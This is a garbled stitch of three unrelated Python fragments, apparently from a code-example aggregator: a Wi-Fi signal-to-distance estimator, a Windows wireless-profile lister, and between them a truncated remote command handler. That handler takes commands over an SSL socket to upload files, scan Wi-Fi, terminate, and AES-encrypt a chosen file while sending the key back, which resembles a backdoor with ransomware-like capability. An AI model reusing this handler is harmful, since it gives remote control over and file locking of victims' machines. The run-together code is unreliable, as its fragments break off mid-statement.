def get_distance(ssid_in, offset): ifaces = getWirelessInterfaces() iface0 = ifaces[0] distance = [] quality = [] strength = [] for i in range(3): time.sleep(5) print time.ctime(), runWlanScan(iface0) networks = getWirelessAvailableNetworkList(iface0) for network in networks: if network.ssid == ssid_in: print network.ssid, '\t', network.signal_quality,'%\t', quality2strength(network.signal_quality), 'dB\t', calculate_distance(network.signal_quality, offset), 'cm' distance.append(calculate_distance(network.signal_quality, offset)) quality.append(network.signal_quality) strength.append(quality2strength(network.signal_quality)) sum_dis = sum(distance) sum_qul = sum(quality) sum_str = sum(strength) if len(distance): averaged_distance = sum_dis / float(len(distance)) averaged_quality = sum_qul / float(len(quality)) averaged_strength = sum_str / float(len(strength)) else: averaged_distance = 9999999.99 averaged_quality = 0 averaged_strength = -95.6 print averaged_distance, averaged_quality, averaged_strength return {"distance":averaged_distance, "quality":averaged_quality, "strength":averaged_strength}
SendData("Not ruuning on Linux/Mac system") else: SendData("usage: set:autostart") pass elif inText.startswith("upload"): DownloadFILE(inText.split(" ")[1]) elif inText == "alive": SendData(cType+" :: alive") elif inText == "terminate": ssl_sock.close() sys.exit(0) elif inText.startswith("hook"): SendData("Error: platform not supported!") elif inText == "get-inferfaces": try: SendData(str(getWirelessInterfaces())) except Exception: SendData("No wifi card here") elif inText.startswith("ScanWIFI"): ScanWIFI(inText.split(":")[1]) elif inText.startswith('protect'): if inText.split(':')[1] == 'enc': fileToProtect = inText.split(':')[2] IV = os.urandom(16) key = os.urandom(32) SendData('IV: ' + base64.b64encode(IV)) SendData('key: '+ base64.b64encode(key)) cipher = AES.new(key, AES.MODE_CBC, IV) Encrypt(fileToProtect, cipher, key, IV) elif inText.split(':')[1] == 'dec': fileToDeProtect = inText.split(':')[2]
# it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>. # # Author: Andres Blanco (6e726d) <*****@*****.**> # from __future__ import print_function from WindowsWifi import getWirelessInterfaces from WindowsWifi import getWirelessProfiles if __name__ == "__main__": ifaces = getWirelessInterfaces() for iface in ifaces: print(iface) guid = iface.guid profiles = getWirelessProfiles(iface) print("") for profile in profiles: print(profile) print("-" * 20) print("")